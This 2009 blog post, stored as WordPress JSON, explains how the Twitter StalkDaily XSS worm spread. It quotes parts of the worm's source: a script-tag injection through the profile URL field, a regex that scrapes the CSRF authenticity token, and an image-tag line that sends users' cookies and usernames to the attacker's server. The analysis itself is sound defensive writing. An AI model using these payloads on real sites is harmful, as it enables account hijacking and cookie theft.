{"id":847,"date":"2009-04-13T22:50:40","date_gmt":"2009-04-14T03:50:40","guid":{"rendered":"http:\/\/unitstep.net\/?p=847"},"modified":"2009-04-13T22:51:44","modified_gmt":"2009-04-14T03:51:44","slug":"how-the-twitter-stalkdaily-worm-spread-so-fast","status":"publish","type":"post","link":"https:\/\/unitstep.net\/blog\/2009\/04\/13\/how-the-twitter-stalkdaily-worm-spread-so-fast\/","title":{"rendered":"How the Twitter StalkDaily Worm spread so fast"},"content":{"rendered":"
<\/p>\n
If you use Twitter a lot (unlike me) you’ll likely have been alerted and worried about the presence of a worm that’s been making the rounds<\/a> at the popular micro-blogging website. The so-called “StalkDaily” worm was first noticed on Saturday, and it appeared to be able to “infect” a user’s Twitter profile, causing random tweets about the StalkDaily website (don’t go there<\/strong>) to show up on their profile. Furthermore, other user’s Twitter profiles could also become infected, seemingly by only viewing the profile of another infected user<\/strong>.<\/p>\n Eventually the source code of the worm was uncovered<\/a>, (safe to view) and a quick analysis of the worm shows why it was able to quickly spread through Twitter so fast. Here’s an overview of how the worm worked.<\/p>\n <\/p>\n The StalkDaily worm was apparently written by a person named “Mikeyy Mooney”<\/a>, who is evidently a 17-year old from Brooklyn, New York. He created the original worm, plus other derivatives that spread using the same mechanism but displayed different messages on the infected user’s profile. The attack was not able to steal user’s passwords, thanks to Twitter’s security configuration, but it nonetheless caused over 10,000 unauthorized tweets<\/a> to show up on users’ profiles.<\/p>\n An analysis of the source code of the worm<\/a> yields some insight into how this malicious code was able to spread so effectively. Specifically, the attack used Type 2 or persistent XSS vulnerability<\/a>, the most serious type, in order to achieve DOM\/JavaScript injection into the Twitter site.<\/p>\n In this sort of attack, the attacker was able to arbitrary JavaScript into a page that was publicly viewable by any other user; in this case the page was a user’s profile. This injected JavaScript was then used to “infect” the profile of the user who viewed the already-infected profile, causing the cycle to repeat.<\/p>\n Specifically, the “URL<\/acronym>” field of the user’s profile is targeted. This contents of this field were apparently not sanitized from user input, or the contents were not properly converted to HTML<\/acronym> entities when setting the contents to the value of the The last line is where the user’s profile is updated to show the offending JavaScript; this essentially make the user’s profile execute the worm’s source code, causing anyone who views the profile to become “infected” themselves.<\/p>\n Thus the attacker was able to exploit this to arbitrarily inject a SCRIPT tag into the DOM linking to a JavaScript file ( Once infected, a user’s profile would contain a link to the malicious JavaScript as described above. This is because the user’s profile shows a link to their website URL<\/acronym>, which had been altered to inject the malicious JavaScript residing the attacker’s server. Because of this, anyone who was logged into Twitter and viewed an infected user’s profile would themselves be infected<\/strong>, and their profile would then become a vector for transmission of the worm, completing the cycle. <\/p>\n The source code also shows that each time you viewed an infected profile, the script would cause you to randomly tweet one of six different phrases, all of which linked to the StalkDaily website. It appears the attacker was trying to promote his website this way<\/a>, but it’s also possible that going to this website could also cause you to become infected. While viewing a resource directly on the StalkDaily website could not cause you to become infected, due to the same-origin policy, it’s possible that a hidden Cross-site scripting attacks, or XSS for short, essentially occur because user-input data is not properly sanitized prior to being committed to persistent storage, or is not properly escaped into HTML<\/acronym> entities before being output to a webpage or displayed. This can allow a malicious user to inject or alter the structure of the DOM, inserting This attack demonstrates the need to effectively guard against these vulnerabilities, because such flaws can undermine other security precautions you have taken. For example, the source code of the worm shows that Twitter was using an “authentication token” for all form submissions in order to prevent Cross-site Request Forgery (CSRF) attacks<\/a>. This is essentially using a temporary, random value to ensure that a form was submitted from the Twitter website itself, so that not any website can submit a form request to Twitter on behalf of a user.<\/p>\n This can normally prevent malicious websites from performing actions on your behalf without your knowledge; however because the XSS vulnerability allowed for DOM\/script injection, the attacker’s script (on a separate domain) was able to run with the same privilege of a script on Twitter’s own site. Thus, it was able to read in the “authentication token” value from the HTML<\/acronym> of the Twitter webpage, and use it to properly craft form submission data to alter the user’s profile and tweet on their behalf. This is seen on lines 85-90:<\/p>\n Note that using a cookie to store the authentication token would not have prevented this. Because the script was running within the scope of the Tiwtter.com domain, it would be able to access the user’s cookies! In fact it does exactly this, and furthermore it sends your cookies to the attacker’s server so they can keep a log of them! Lines 78-81 show this: (The username is obtained from the DOM, much like the authentication token)<\/p>\n Obviously central to this problem is the ability of scripts on other domains to run within the scope of another domain simply by being linked to on the page via a However, this ability also allows useful services such as Google Analytics and other third-party services\/APIs such as Google Maps, to work easily across different websites, allowing services to expose their features through a JavaScript API. Thus, making browsers reject third-party SCRIPT tags would cause serious usability problems; a better idea is to use a Firefox plugin like NoScript<\/a> so that the user can have fine-grained control over issues like this. <\/p>\n Other points of interest when looking at the source code is that the bulk of the code are utility functions. The actual malicious code only takes up the last third of the file or so. For example, the function Lastly, the malicious code is set to be executed 3250 ms after the script is fully-loaded. (line 111) This is likely to ensure that the DOM is fully loaded and ready to be traversed to find things like the username and authentication token, instead of hooking into an event like This analysis identifies the following points:<\/p>\n Note that this is not a criticism of Twitter itself, as designing any web application is difficult from a security perspective; it’s also worthwhile to note that Twitter responded fast to this issue, within hours on a Saturday. They appeared to have the situation under control as of yesterday<\/a> and had patched the hole as well as being on their way to cleaning up infected users’ profiles. Understandably they are very upset and I hope they are able to sort the whole issue out.<\/p>","protected":false},"excerpt":{"rendered":" If you use Twitter a lot (unlike me) you’ll likely have been alerted and worried about the presence of a worm that’s been making the rounds at the popular micro-blogging website. The so-called “StalkDaily” worm was first noticed on Saturday, and it appeared to be able to “infect” a user’s Twitter profile, causing random tweets […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,67,137,87,20,31,330,17],"tags":[333,428,484,331,332],"_links":{"self":[{"href":"https:\/\/unitstep.net\/wp-json\/wp\/v2\/posts\/847"}],"collection":[{"href":"https:\/\/unitstep.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/unitstep.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/unitstep.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/unitstep.net\/wp-json\/wp\/v2\/comments?post=847"}],"version-history":[{"count":9,"href":"https:\/\/unitstep.net\/wp-json\/wp\/v2\/posts\/847\/revisions"}],"predecessor-version":[{"id":858,"href":"https:\/\/unitstep.net\/wp-json\/wp\/v2\/posts\/847\/revisions\/858"}],"wp:attachment":[{"href":"https:\/\/unitstep.net\/wp-json\/wp\/v2\/media?parent=847"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/unitstep.net\/wp-json\/wp\/v2\/categories?post=847"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/unitstep.net\/wp-json\/wp\/v2\/tags?post=847"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}Overview<\/h2>\n
Drilling down<\/h2>\n
href<\/code> attribute when displaying the user’s URL<\/acronym> or homepage\/website. This is seen in lines 104 and 109 of the source code, shown below:<\/p>\n
var xss = urlencode('http:\/\/www.stalkdaily.com\"><\/a><script src=\"http:\/\/mikeyylolz.uuuq.com\/x.js\"><\/script><a ');\r\n... \r\nvar ajaxConn1 = new XHConn();\r\najaxConn1.connect(\"\/account\/settings\", \"POST\", \"authenticity_token=\"+authtoken+\"&user[url]=\"+xss+\"&tab=home&update=update\");<\/code><\/pre>\n
x.js<\/code>) on his site. By doing this, he was able to get code he owned (the JavaScript file on his own website) to run at the privilege level of scripts on the Twitter.com domain. This “privilege escalation” of sorts is what allowed the script to perform actions on behalf of the user, including infecting their profile to spread to others, and causing the user to tweet phrases of the attacker’s choice.<\/p>\n
Spreading<\/h2>\n
iframe<\/code> could be included on the site, pointing towards the profile of an infected user. This would case you to become infected.<\/p>\n
Why XSS is so important to prevent against<\/h2>\n
script<\/code> tags to inject their own arbitrary JavaScript into your website.<\/p>\n
var content = document.documentElement.innerHTML;\r\n\r\nauthreg = new RegExp(\/twttr.form_authenticity_token = '(.*)';\/g);\r\nvar authtoken = authreg.exec(content);\r\nauthtoken = authtoken[1];\r\n\/\/alert(authtoken);<\/code><\/pre>\n
var cookie;\r\ncookie = urlencode(document.cookie);\r\ndocument.write(\"<img src='http:\/\/mikeyylolz.uuuq.com\/x.php?c=\" + cookie + \"&username=\" + username + \"'>\");\r\ndocument.write(\"<img src='http:\/\/stalkdaily.com\/log.gif'>\");<\/code><\/pre>\n
Other notes<\/h2>\n
script<\/code> element. This allows scripts not under the control of the originating domain to be able to access cookies and other information that would not be normally accessible. <\/p>\n
XHConn()<\/code> is simply a standard cross-browser compatible implementation of XMLHttpRequest<\/a>, the API used for the Ajax requests necessary to alter the user’s profile. Additionally, the
urlencode()<\/code> function is another utility function that allows values like the user’s cookies and the actual malicious
script<\/code> tag to be properly submitted in the Ajax request.<\/p>\n
window.onload<\/code>.<\/p>\n
Concluding remarks<\/h2>\n
\n